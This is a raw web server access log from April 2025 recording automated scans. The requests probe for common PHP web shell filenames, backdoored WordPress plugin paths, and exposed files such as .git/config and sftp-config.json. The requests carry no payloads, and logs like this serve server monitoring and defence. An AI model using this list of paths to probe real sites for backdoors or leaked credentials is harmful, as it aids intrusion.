[20/Apr/2025:20:13:14 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:16 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:18 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:19 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:21 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:23 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:25 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:27 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:28 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:30 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:32 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:34 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:35 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:37 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:39 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:40 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:43 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:44 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:47 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:48 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:50 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:53 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:56 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:58 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:59 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:02 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:04 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:06 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:08 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:11 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:15 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:17 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:19 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:21 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:23 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:25 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:28 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:29 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:31 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:14:33 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 203.33.203.148 - - [20/Apr/2025:21:06:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.248.139.175 - - [20/Apr/2025:21:19:37 -0400] "GET /phpsso_server/api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36" 23.82.113.9 - - [20/Apr/2025:21:25:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 23.82.113.9 - - [20/Apr/2025:21:25:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 15.235.160.194 - - [20/Apr/2025:21:37:05 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 15.235.160.194 - - [20/Apr/2025:21:37:23 -0400] "GET /assets/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 13.38.95.154 - - [20/Apr/2025:22:12:46 -0400] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 13.38.95.154 - - [20/Apr/2025:22:12:48 -0400] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 34.219.207.1 - - [20/Apr/2025:22:15:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 198.235.24.183 - - [20/Apr/2025:22:52:42 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 43.157.170.13 - - [20/Apr/2025:22:58:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 165.232.186.115 - - [20/Apr/2025:23:21:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 165.232.186.115 - - [20/Apr/2025:23:21:08 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 107.174.231.208 - - [20/Apr/2025:23:33:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 107.174.231.208 - - [20/Apr/2025:23:34:53 -0400] "GET /mail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 107.174.231.208 - - [20/Apr/2025:23:35:02 -0400] "GET /webmail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 107.174.231.208 - - [20/Apr/2025:23:35:13 -0400] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 107.174.231.208 - - [20/Apr/2025:23:35:22 -0400] "GET /signin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 107.174.231.208 - - [20/Apr/2025:23:35:27 -0400] "GET /owa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 107.174.231.208 - - [20/Apr/2025:23:35:31 -0400] "GET /myaccount HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 107.174.231.208 - - [20/Apr/2025:23:35:35 -0400] "GET /account HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 34.219.207.1 - - [20/Apr/2025:23:37:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 18.223.108.59 - - [20/Apr/2025:23:54:24 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 89.248.163.4 - - [21/Apr/2025:00:05:38 -0400] "GET /.git/config HTTP/1.1" 403 1242 "-" "python-requests/2.27.1" 198.44.188.36 - - [21/Apr/2025:00:11:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 54.187.172.153 - - [21/Apr/2025:00:17:48 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0" 107.151.219.105 - - [21/Apr/2025:00:40:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 40.69.216.239 - - [21/Apr/2025:00:50:30 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:32 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:33 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:33 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:34 -0400] "GET /wordpress/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:35 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:36 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:36 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:37 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:38 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:38 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:39 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:41 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:42 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:43 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:44 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:45 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:46 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:47 -0400] "GET /wp-admin/js//wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:48 -0400] "GET /wp/wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:50 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:51 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:52 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:53 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:54 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:55 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:56 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:56 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:57 -0400] "GET /wp-content/plugins/envato-market/inc/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:58 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:58 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:59 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:50:59 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:00 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:01 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:01 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:02 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:03 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:03 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:04 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:05 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:06 -0400] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:07 -0400] "GET /wp-includes//wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:08 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:10 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:11 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:13 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:14 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:16 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:18 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:19 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:20 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:21 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:22 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:23 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:24 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:25 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:26 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:29 -0400] "GET /.wp-cli/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:31 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:33 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:34 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:36 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:36 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:37 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:39 -0400] "GET /.well-known//.well-known/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:41 -0400] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:42 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:43 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:46 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:49 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:51 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:52 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:53 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:54 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:56 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:51:58 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:01 -0400] "GET /.tmb/ HTTP/1.1" 301 795 